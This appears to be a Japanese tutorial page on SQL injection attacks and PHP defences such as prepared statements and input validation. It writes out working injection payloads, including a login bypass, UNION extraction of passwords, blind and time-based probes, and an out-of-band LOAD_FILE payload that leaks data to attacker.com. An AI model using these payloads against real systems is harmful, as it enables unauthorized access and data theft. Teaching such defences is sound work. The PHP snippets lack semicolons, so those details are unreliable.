SQLインジェクションの攻撃手法とプレースホルダ対策の実践ガイド

SQLインジェクションの攻撃手法と対策

SQLインジェクション対策の重要ポイント

🔒

脆弱性の理解

SQLインジェクションはデータベースを直接操作される危険な脆弱性です

⚠️

攻撃の影響

情報漏洩や不正アクセスによる深刻な被害が発生する可能性があります

🛡️

対策の必要性

プレースホルダの使用など、適切な対策実装が不可欠です

このページの目次

SQLインジェクションの攻撃手法と対策

SQLインジェクションの基本的な仕組みと攻撃パターン

SQLインジェクション攻撃は、Webアプリケーションの入力フォームなどを通じて、悪意のあるSQL文を注入する手法です。以下のような基本的なログイン処理のコードを例に説明します。


$user_id = $_POST['user_id']
$password = $_POST['password']
$sql = "SELECT * FROM users WHERE user_id='$user_id' AND password='$password'"

このコードには重大な脆弱性があります。例えば、user_idに「admin' OR '1'='1」を入力すると、以下のようなSQL文が生成されます：


SELECT * FROM users WHERE user_id='admin' OR '1'='1' AND password='password'

この場合、'1'='1'は常に真となるため、パスワードの検証をバイパスしてログインが可能になってしまいます。

実践的なSQLインジェクション対策手法

SQLインジェクションへの対策として、以下の方法が効果的です：

プレースホルダの使用


$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ? AND password = ?")
$stmt->bindValue(1, $user_id)
$stmt->bindValue(2, $password)
$stmt->execute()

エスケープ処理の実装


$user_id = mysqli_real_escape_string($conn, $user_id)
$password = mysqli_real_escape_string($conn, $password)

入力値のバリデーション


if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {
    die('不正な入力です')
}

SQLインジェクションの高度な攻撃パターンと防御

より高度なSQLインジェクション攻撃には、以下のようなパターンがあります：

UNION句を使用した攻撃


' UNION SELECT null,username,password FROM users--

ブラインドSQLインジェクション


' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a

これらの攻撃に対する防御策：


$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id")
$stmt->execute(['id' => $user_id])
$query = "SELECT * FROM products WHERE category = ?"
$stmt = $mysqli->prepare($query)

SQLインジェクション対策のベストプラクティス

セキュアなアプリケーション開発のために、以下のベストプラクティスを実装することを推奨します：

WAF（Web Application Firewall）の導入
定期的なセキュリティ監査の実施
エラーメッセージの適切な制御
最小権限の原則の遵守
データベースアカウントの適切な権限設定


try {
    $stmt = $pdo->prepare($sql)
    $stmt->execute($params)
} catch (PDOException $e) {
    // エラーログの記録
    error_log($e->getMessage())
    // ユーザーへの一般的なエラーメッセージ
    die('システムエラーが発生しました')
}

新しい攻撃手法とSQLインジェクション対策の進化

最近では、以下のような新しい攻撃手法も出現しています：

時間ベースのブラインドSQLインジェクション
```
' AND IF(SUBSTRING(user,1,1)='a',SLEEP(5),0)--
```

Out-of-band SQLインジェクション


' UNION ALL SELECT NULL,NULL,NULL,LOAD_FILE(CONCAT('\\\\',VERSION(),'.attacker.com\\abc'))--

これらの新しい攻撃に対する対策として、以下の実装が推奨されます：


$pdo->setAttribute(PDO::ATTR_TIMEOUT, 3)
$stmt->setAttribute(PDO::ATTR_TIMEOUT, 3)
$pdo->beginTransaction()
try {
    $stmt->execute()
    $pdo->commit()
} catch (Exception $e) {
    $pdo->rollBack()
    throw $e
}